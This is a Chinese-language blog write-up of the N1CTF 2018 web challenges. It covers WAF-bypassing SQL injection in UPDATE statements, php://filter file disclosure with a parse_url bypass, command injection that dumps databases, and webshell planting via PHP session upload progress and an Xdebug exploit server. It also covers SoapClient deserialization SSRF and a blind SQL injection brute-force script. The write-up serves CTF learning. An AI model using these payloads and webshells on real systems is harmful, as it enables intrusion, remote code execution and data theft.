n1ctf 2018 web writeup

前言

因为工作上涉及到web知识的比较多,所以作为pwn选手,这次并没有关注pwn的任何一题题目。。反倒是把web题做了个一遍ORZ

77777

PS:这个系列题真虐狗

题目的关键代码如下所示,接收用户发送过来的 flag 和hi 参数,并通过waf和sprintf格式化生成sql语句,关键点在于如何绕过waf函数(我这边写的waf函数和出题人写的是不一样,只是用于本地测试。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function waf($points)
{
return $points;
}
function update_point($p,$points)
{
$link=mysqli_connect('127.0.0.1','root','root','ctf_test');
$q = sprintf("UPDATE user SET points =%d%s",$p,waf($points));
var_dump($q);
if(!$query =mysqli_query($link,$q)) return FALSE;
return TRUE;
}
if(!update_point($_REQUEST['flag'],$_REQUEST['hi']))echo 'sorry';

很明显,注入点在于points这个参数。

docker pull ubuntu:16.04本地搭建好环境测试一波。

构建数据库语句

1
2
3
create database ctf_test;
use ctf_test;
create table user (id int,name text,points int);

构造update查询的注入 payload 。

查询数据库当前用户信息,发送flag=0&hi=%2bconv(hex(substr(user(),1, 4)), 16, 10)生成查询语句,UPDATE user SET points = 0+conv(hex(substr(user(),1, 4)), 16, 10),发现竟然没有被waf挡住。。。

查询当前用户表中用户密码,发送flag=0&hi=%2bconv(hex(substr((select password),1, 4)), 16, 10),生成查询语语句 UPDATE user SET points = 0+conv(hex(substr((select password),1, 4)), 16, 10),又过了waf。。。 ?(当时有点怀疑waf的真实性,不过后来测试admin、database都被waf挡住了,拿flag做题还是没问题的,但是万一flag不在当前用户的记录里呢,怎么做偏移?~

77777-2

emmmm关键的代码没有变,加强了waf,把password,pw,union等关键词挡住了,但是可以用如下的姿势绕过。

flag=0&hi=%2bconv(hex(substr((select pw ),1, 4)), 16, 10)

没错。。pw左右各一个空格就绕过了,玄学。。

后台生成查询语句为UPDATE user SET points = 0+conv(hex(substr((select pw ),1, 4)), 16, 10) 应该是非预期,话说正解到底是啥?

funning eating cms

一个cms系统。。用了网上的模版。

index.php页面的page参数存在文件包含漏洞,但是文件后缀名必须是php的才能包含,无法用来命令执行,只能看下源码,操作姿势http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=config

把看到的php文件都下载到本地,审计一波,发现function.php文件内parse_url函数存在绕过,当构造////x.php?key=value这种形式的uri的时候,parse_url函数将无法解析该uri。

之后在http://47.52.152.93:20000/templates/info.html 的源码里得知关键信息在ffffllllaaaaggg.php文件里面。

1
2
3
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);

通过构造 http://47.52.152.93:20000////user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg 即可获得下个提示信息(好像又是非预期。。。)之后在上传函数的流程中发现 上传文件名处存在命令注入,直接构造把数据库导出就可以获取flag。。

mysqldump -uroot -pNu1LCTF2018\!@#qwe --all-databases > flagggggggg.png (对不起,我就是这么暴力。。。

easy php

两个非预期解法。

第一个是通过包含session文件,利用 PHP_SESSION_UPLOAD_PROGRESS控制session内容,成功达成命令执行。

1
2
3
4
5
<form action="http://47.52.246.175:23333/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?=`echo '<?php eval(\$_REQUEST[winter3un])?>'>gg.php`?>" />
<input type="file" name="file1" />
<input type="submit" />
</form>

第二个是通过xdebug

1
curl --url http://112.213.118.106/?XDEBUG_SESSION_START=1

exp 脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# encoding: utf-8
from socketserver import BaseRequestHandler, TCPServer
from base64 import b64encode
php_code = b"print_r(file_put_contents('/var/www/html/cmd.php','<?=`$_GET[a]`?>'), true)"
payload = b"""eval -i 105 -- %s""" % b64encode(php_code)
if len(payload) % 304 != 0:
payload = payload + b'\x00' * (304 - len(payload) % 304)
count = 0
class EchoHandler(BaseRequestHandler):
def handle(self):
global count
print('Got connection from', self.client_address)
while True:
msg = self.request.recv(8192)
print(msg)
if not msg:
break
if count == 0:
self.request.send(payload)
count += 1
if __name__ == '__main__':
serv = TCPServer(('', 9000), EchoHandler)
serv.serve_forever()

harder php

之后出题人修复了非预期的解法,正常解法流程如下。

1、备份文件源代码泄漏,通过代码审计,找到留言处存在sql注入漏洞。

2、利用该sql注入漏洞,获取管理员密码。

payload

1
`,0x12345)%23

3、管理员登录需要本地IP127.0.0.1 ,根据提示反序列化导致ssrf,谷歌搜索,第一篇文章即是 《PHP Unserialize Exploiting》(https://www.slideshare.net/MailRuGroup/security-meetup-22-php-unserialize-exploiting)

1
2
https://www.youtube.com/watch?v=5AdVQzUB6iM
SSRF Unserializing SoapClient can provide SSRF with CRLF injection. O:10:"SoapClient":3:{s:3:"uri";s:18:"http://hostname/3%0a1"; s:8:"location";s:23:"http://hostname/123";s:13:" _soap_version";i:1;}

4、其user-agent参数可以CRLF注入,伪造http request头,从而达成post任意参数的ssrf,利用该ssrf获取管理员登录后的session。

5、利用管理员登录后的session,上传php文件,但是有个坑,stripos(file_get_contents($move_to_file),'<?php')>=0 这个表达式是恒返回0的。也就是说,不管怎么样都会触发rm /app/*

6、通过搜索引擎查询rm * 无法删除文件,查询到,当文件名前缀为-x时,必须用 rm -- * 才能删除,故上传文件名为-x1234的php一句话木马,再通过http response返回的时间戳来爆破文件名(文件夹所属是root,权限333),爆破成后即可getshell

baby sqli

题目太坑,注入点在个签那里,条件判断在头像那边。。

当时没做出,给个官方脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding:utf-8 -*-
import requests
from random import Random
def random_str(randomlength=8):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(randomlength):
str+=chars[random.randint(0, length)]
return str
dic='0123456789_@:.abcdefghijklmnopqrstuvwxyz'
url="http://47.98.51.5/vlogin/reg.php"
table_name=''
def register(email,uinfo):
url="http://47.98.51.5/vlogin/reg.php"
data={
"email":email,
"pass":"123",
"userinfo":userinfo
}
requests.post(url=url,data=data)
def login(loginuser):
url="http://47.98.51.5/vlogin/login.php"
a=requests.session()
data2={
"loginuser":loginuser,
"loginpass":"123"
}
a.post(url=url,data=data2)
url3="http://47.98.51.5/vlogin/vpage/index.php"
b=a.get(url3)
return b.text
for i in range(1,100):
for j in dic:
email=random_str(randomlength=8)+"@1.com"
userinfo="'or(if(1,(select(substr((select(user())),{},1))='{}'),1)=1)#".format(i,j)
register(email,userinfo)
c=login(email)
if "1.png" in c:
table_name += j
print table_name
break
print table_name

Reference:

http://netsecurity.51cto.com/art/201702/531607.htm 一种新的MySQL下Update、Insert注入方法

https://www.anquanke.com/post/id/84837 题目2 无人机病了(Web)

https://www.restran.net/2017/09/16/php-xdebug-cmd-exec/ PHP Xdebug 远程调试命令执行分析

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. 77777
  3. 3. 77777-2
  4. 4. funning eating cms
  5. 5. easy php
  6. 6. harder php
  7. 7. baby sqli
  8. 8. Reference:
,
隐藏